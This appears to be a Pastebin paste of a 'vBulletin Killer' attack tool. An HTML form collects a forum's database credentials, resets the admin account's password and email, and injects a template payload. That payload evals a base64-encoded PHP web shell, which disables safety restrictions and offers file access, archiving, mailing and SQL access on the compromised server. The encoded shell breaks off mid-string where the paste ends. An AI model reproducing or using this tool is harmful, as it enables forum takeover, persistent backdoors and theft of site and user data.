Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <title>vBulletin Killer</title>
- <center>
- <form method=POST action=''>
- <font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=hostname size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
- <font face='Arial' color='#000000'>DB name<br></font><input value=forum type=text name=dbname size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
- <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuser size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
- <font face='Arial' color='#000000'>DB dbpass<br></font><input value=toor type=text name=dbpass size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
- <font face='Arial' color='#000000'>Table prefix<br></font><input value='' type=text name=prefix size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
- <font face='Arial' color='#000000'>User admin<br></font><input value=root type=text name=user size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
- <font face='Arial' color='#000000'>New pass admin<br></font><input value=toor type=text name=pass size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
- <font face='Arial' color='#000000'>New E-mail admin<br></font><input [email protected] type=text name=email size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
- <font face='Arial' color='#000000'>Code Shell<br></font><textarea name="data" cols="40" rows="10">$spacer_open
- {${eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KDQokbGFuZ3VhZ2U9J2VuZyc7IC8vICdwbCcgb3IgJ2VuZycNCiRhdXRoID0gMTsNCiRuYW1lPScyN2RiNzg5ODIxMWM4Y2NiZWI0ZDVhOTdkMTk4ODM5YSc7IC8vcjAwdA0KJHBhc3M9J2UxMGFkYzM5NDliYTU5YWJiZTU2ZTA1N2YyMGY4ODNlJzsgLy8xMjM0NTYNCg0KQGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCkBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9pbmNsdWRlX2RpciIpOw0KQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfZXhlY19kaXIiKTsNCkBpbmlfcmVzdG9yZSgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCkBpbmlfcmVzdG9yZSgiYWxsb3dfdXJsX2ZvcGVuIik7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCg0KaWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8IChAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykhPU5VTEwpIHx8IChAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykhPU5VTEwpKXskb3Blbl9iYXNlZGlyPTE7fSBlbHNleyRvcGVuX2Jhc2VkaXI9MDt9Ow0KIA0KZGVmaW5lKCJzdGFydHRpbWUiLEBnZXRtaWNyb3RpbWUoKSk7DQpzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQojaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKXskc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpO31lbHNleyRzYWZlX21vZGU9MTt9Ow0KJHZlcnNpb24gPSAnMS4wJzsNCmlmKEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwgJzQuMS4wJykgPT0gLTEpDQogew0KICRfUE9TVCAgID0gJiRIVFRQX1BPU1RfVkFSUzsNCiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsNCiAkX1NFUlZFUiA9ICYkSFRUUF9TRVJWRVJfVkFSUzsNCiAkX0NPT0tJRSA9ICYkSFRUUF9DT09LSUVfVkFSUzsNCiB9DQppZiAoQGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpDQogew0KIGZvcmVhY2ggKCRfUE9TVCBhcyAkaz0+JHYpDQogIHsNCiAgJF9QT1NUWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7DQogIH0NCiBmb3JlYWNoICgkX0NPT0tJRSBhcyAkaz0+JHYpDQogIHsNCiAgJF9DT09LSUVbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfSANCiB9DQogDQppZigkYXV0aCA9PSAxKSB7DQppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcGFzcykNCiAgIHsNCiAgIGhlYWRlcignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09IkhFTExPISInKTsNCiAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOw0KICAgZXhpdCgiPGI+QWNjZXNzIERlbmllZDwvYj4iKTsNCiAgIH0NCn0gICANCiRoZWFkID0gJw0KPGh0bWw+IA0KPGhlYWQ+IA0KPHRpdGxlPnIwMHQtdEVhTTwvdGl0bGU+IA0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPiANCiANCjxTVFlMRT4gDQp0ciB7DQpCT1JERVItUklHSFQ6ICAjYWFhYWFhIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICNlZWVlZWUgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgI2VlZWVlZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjYWFhYWFhIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCmNvbG9yOiAjOTk5OTk5Ow0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgI2FhYWFhYSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjZWVlZWVlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNlZWVlZWUgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2FhYWFhYSAxcHggc29saWQ7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQpjb2xvcjogIzk5OTk5OTsNCn0NCi50YWJsZTEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTMxMzEzOw0KY29sb3I6ICM5OTk5OTk7DQp9DQoudGQxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjMzMzMzMzOw0KZm9udDogN3B0IFZlcmRhbmE7DQpjb2xvcjogIzk5OTk5OTsNCn0NCi50cjEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQpjb2xvcjogIzk5OTk5OTsNCn0NCnRhYmxlIHsNCkJPUkRFUjogICNlZWVlZWUgMXB4IG91dHNldDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMzEzMTM7DQpjb2xvcjogIzk5OTk5OTsNCn0NCmlucHV0IHsNCmJvcmRlcgkJCTogc29saWQgMXB4Ow0KYm9yZGVyLWNvbG9yCQk6ICMyRDJEMkQgIzI1MjUyNSAjMjUyNTI1ICMyNTI1MjU7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTMxMzEzOw0KZm9udDogOHB0IFZlcmRhbmE7DQpjb2xvcjogI0ZGRkZGRjsNCn0NCnNlbGVjdCB7DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjZmZmZmZmIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMzEzMTM7DQpmb250OiA4cHQgVmVyZGFuYTsNCmNvbG9yOiAjOTk5OTk5OzsNCn0NCnN1Ym1pdCB7DQpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMzEzMTM7DQp3aWR0aDogMzAlOw0KY29sb3I6ICM5OTk5OTk7DQp9DQp0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjZmZmZmZmIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMDEwMTA7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICM5OTk5OTk7DQp9DQpCT0RZIHsNClNDUk9MTEJBUi1BUlJPVy1DT0xPUjogIzQ0NDQ0NDsNClNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjNDQ0NDQ0Ow0KbWFyZ2luOiAxcHg7DQpjb2xvcjogIzk5OTk5OTsNCmJhY2tncm91bmQtY29sb3I6ICMxMzEzMTM7DQp9DQoubWFpbiB7DQptYXJnaW4JCQk6IC0yODdweCAwcHggMHB4IC00OTBweDsNCmJvcmRlcgkJCTogIzAwMDAwMCBzb2xpZCAxcHg7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQp9DQoudHQgew0KYmFja2dyb3VuZC1jb2xvcjogIzI1MjUyNTsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZpc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOiM4MDgwODA7VEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KIA0KLmhlYWQgew0KQkFDS0dST1VORC1DT0xPUjogIzIyMjIyMjsNCn0NCjwvU1RZTEU+IA0KPHNjcmlwdCBsYW5ndWFnZT1cJ2phdmFzY3JpcHRcJz4gDQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KIA0KIA0KPC9zY3JpcHQ+JzsNCmNsYXNzIHppcGZpbGUNCnsNCiAgICB2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQogICAgZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7DQogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7DQogICAgICAgICAgICAkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7DQogICAgICAgIH0gDQogICAgICAgIHJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7DQogICAgfSANCiAgICBmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKQ0KICAgIHsNCiAgICAgICAgJG5hbWUgICAgID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7DQogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07DQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQogICAgICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KICAgICAgICAkZnIgICAuPSAiXHgxNFx4MDAiOyAgICAgICAgICAgIA0KICAgICAgICAkZnIgICAuPSAiXHgwMFx4MDAiOyAgICAgICAgICAgIA0KICAgICAgICAkZnIgICAuPSAiXHgwOFx4MDAiOyAgICAgICAgICAgIA0KICAgICAgICAkZnIgICAuPSAkaGV4ZHRpbWU7ICAgICAgICAgICAgIA0KICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQogICAgICAgICRjcmMgICAgID0gY3JjMzIoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCiAgICAgICAgJGNfbGVuICAgPSBzdHJsZW4oJHpkYXRhKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOyAgICAgICAgICAgICANCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjX2xlbik7ICAgICAgICAgICANCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICR1bmNfbGVuKTsgICAgICAgICANCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOyAgICANCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIDApOyAgICAgICAgICAgICAgICANCiAgICAgICAgJGZyICAgICAgLj0gJG5hbWU7DQogICAgICAgICRmciAuPSAkemRhdGE7DQogICAgICAgICR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsgICAgICAgICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSAiXHgxNFx4MDAiOyAgICAgICAgICAgICAgICANCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7ICAgICAgICAgICAgICAgIA0KICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsgICAgICAgICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSAkaGV4ZHRpbWU7ICAgICAgICAgICAgICAgICANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsgICAgICAgICAgIA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7ICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyAgICAgICANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAgICAgICAgIA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsgICAgICAgICAgICANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQogICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVuKCRmcik7DQogICAgICAgICRjZHJlYyAuPSAkbmFtZTsNCiAgICAgICAgJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCiAgICB9DQogICAgZnVuY3Rpb24gZmlsZSgpDQogICAgew0KICAgICAgICAkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOw0KICAgICAgICAkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCiAgICAgICAgcmV0dXJuDQogICAgICAgICAgICAkZGF0YSAuDQogICAgICAgICAgICAkY3RybGRpciAuDQogICAgICAgICAgICAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gIA0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gIA0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gICAgICAgICAgIA0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gICAgICAgICAgICAgIA0KICAgICAgICAgICAgIlx4MDBceDAwIjsgICAgICAgICAgICAgIA0KICAgIH0NCn0NCiANCmZ1bmN0aW9uIGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpDQogew0KICAgIGdsb2JhbCAkY29udGVudF9lbmNvZGluZzsNCiAgICBnbG9iYWwgJG1pbWVfdHlwZTsNCiAgICBpZiAoJGNvbXByZXNzID09ICdiemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpIA0KICAgICB7DQogICAgICAgICRmaWxlbmFtZSAgLj0gJy5iejInOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtYnppcDInOw0KICAgICAgICAkZmlsZWR1bXAgPSBiemNvbXByZXNzKCRmaWxlZHVtcCk7DQogICAgIH0gDQogICAgIGVsc2UgaWYgKCRjb21wcmVzcyA9PSAnZ3ppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZ3plbmNvZGUnKSkgDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmd6JzsNCiAgICAgICAgJGNvbnRlbnRfZW5jb2RpbmcgPSAneC1nemlwJzsNCiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi94LWd6aXAnOw0KICAgICAgICAkZmlsZWR1bXAgPSBnemVuY29kZSgkZmlsZWR1bXApOw0KICAgICB9IA0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ3ppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSANCiAgICAgew0KICAgICAkZmlsZW5hbWUgLj0gJy56aXAnOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3ppcCc7DQogICAgICAgICR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsNCiAgICAgICAgJHppcGZpbGUgLT4gYWRkRmlsZSgkZmlsZWR1bXAsIHN1YnN0cigkZmlsZW5hbWUsIDAsIC00KSk7DQogICAgICAgICRmaWxlZHVtcCA9ICR6aXBmaWxlIC0+IGZpbGUoKTsNCiAgICAgfSANCiAgICAgZWxzZSANCiAgICAgew0KICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQogICAgIH0NCiB9DQogDQpmdW5jdGlvbiBtb3JlcmVhZCgkdGVtcCl7DQpnbG9iYWwgJGxhbmcsJGxhbmd1YWdlOw0KJHN0cj0nJzsNCiAgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSYmQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpJiZAZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpJiZAZnVuY3Rpb25fZXhpc3RzKCdmY2xvc2UnKSl7DQogICAkZmZpbGUgPSBAZm9wZW4oJHRlbXAsICJyIik7DQogICB3aGlsZSghQGZlb2YoJGZmaWxlKSl7JHN0ciAuPSBAZmdldHMoJGZmaWxlKTt9DQogICBmY2xvc2UoJGZmaWxlKTsNCiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpJiZAZnVuY3Rpb25fZXhpc3RzKCdmcmVhZCcpJiZAZnVuY3Rpb25fZXhpc3RzKCdmY2xvc2UnKSYmQGZ1bmN0aW9uX2V4aXN0cygnZmlsZXNpemUnKSl7DQogICAkZmZpbGUgPSBAZm9wZW4oJHRlbXAsICJyIik7DQogICAkc3RyID0gQGZyZWFkKCRmZmlsZSwgQGZpbGVzaXplKCR0ZW1wKSk7DQogICBAZmNsb3NlKCRmZmlsZSk7DQogIH1lbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygnZmlsZScpKXsNCiAgICRmZmlsZXMgPSBAZmlsZSAoJHRlbXApOw0KICAgZm9yZWFjaCAoJGZmaWxlcyBhcyAkZmZpbGUpIHsgJHN0ciAuPSAkZmZpbGU7IH0NCiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKXsNCiAgICRzdHIgPSBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOw0KICB9ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3JlYWRmaWxlJykpew0KICAgJHN0ciA9IEByZWFkZmlsZSgkdGVtcCk7DQogIH1lbHNle2VjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU2J107fQ0KcmV0dXJuICRzdHI7DQp9DQogDQpmdW5jdGlvbiByZWFkemxpYigkZmlsZW5hbWUsJHRlbXA9Jycpew0KZ2xvYmFsICRsYW5nLCRsYW5ndWFnZTsNCiRzdHI9Jyc7DQogIGlmKCEkdGVtcCkgeyR0ZW1wPXRlbXBuYW0oQGdldGN3ZCgpLCAiY29weXRlbXAiKTt9Ow0KICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJGZpbGVuYW1lLCAkdGVtcCkpIHsNCiAgICRzdHIgPSBtb3JlcmVhZCgkdGVtcCk7DQogIH0gZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTknXTsNCiAgQHVubGluaygkdGVtcCk7DQpyZXR1cm4gJHN0cjsNCn0NCiANCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpDQogew0KICRoZWFkZXJzICA9ICJGcm9tOiAkZnJvbVxyXG4iOw0KICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6ICIuJGF0dGFjaFsndHlwZSddOw0KICRoZWFkZXJzIC49ICI7IG5hbWU9XCIiLiRhdHRhY2hbJ25hbWUnXS4iXCJcclxuIjsNCiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOw0KICRoZWFkZXJzIC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGF0dGFjaFsnY29udGVudCddKSkuIlxyXG4iOw0KIGlmKG1haWwoJHRvLCRzdWJqLCIiLCRoZWFkZXJzKSkgeyByZXR1cm4gMTsgfQ0KIHJldHVybiAwOw0KIH0NCmNsYXNzIG15X3NxbA0KIHsNCiB2YXIgJGhvc3QgPSAnbG9jYWxob3N0JzsNCiB2YXIgJHBvcnQgPSAnJzsNCiB2YXIgJHVzZXIgPSAnJzsNCiB2YXIgJHBhc3MgPSAnJzsNCiB2YXIgJGJhc2UgPSAnJzsNCiB2YXIgJGRiICAgPSAnJzsNCiB2YXIgJGNvbm5lY3Rpb247DQogdmFyICRyZXM7ICAgICAgICANCiB2YXIgJGVycm9yOyAgICAgIA0KIHZhciAkcm93czsgICAgICAgDQogdmFyICRjb2x1bW5zOyAgICAgDQogdmFyICRudW1fcm93czsgICANCiB2YXIgJG51bV9maWVsZHM7IA0KIHZhciAkZHVtcDsgICAgICAgDQogDQogZnVuY3Rpb24gY29ubmVjdCgpDQogIHsgICANCiAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICAgew0KICAgY2FzZSAnTXlTUUwnOiANCiAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0NCiAgICBpZighQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBteXNxbF9jb25uZWN0KCR0aGlzLT5ob3N0Lic6Jy4kdGhpcy0+cG9ydCwkdGhpcy0+dXNlciwkdGhpcy0+cGFzcyk7DQogICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgIGJyZWFrOw0KICAgICBjYXNlICdNU1NRTCc6DQogICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMTQzMyc7IH0NCiAgICBpZighQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBtc3NxbF9jb25uZWN0KCR0aGlzLT5ob3N0LicsJy4kdGhpcy0+cG9ydCwkdGhpcy0+dXNlciwkdGhpcy0+cGFzcyk7DQogICAgICBpZigkdGhpcy0+Y29ubmVjdGlvbikgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgIGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyAkdGhpcy0+cG9ydCA9ICc1NDMyJzsgfQ0KICAgICAgJHN0ciA9ICJob3N0PSciLiR0aGlzLT5ob3N0LiInIHBvcnQ9JyIuJHRoaXMtPnBvcnQuIicgdXNlcj0nIi4kdGhpcy0+dXNlci4iJyBwYXNzd29yZD0nIi4kdGhpcy0+cGFzcy4iJyBkYm5hbWU9JyIuJHRoaXMtPmJhc2UuIiciOw0KICAgICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOw0KICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICBpZighQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuID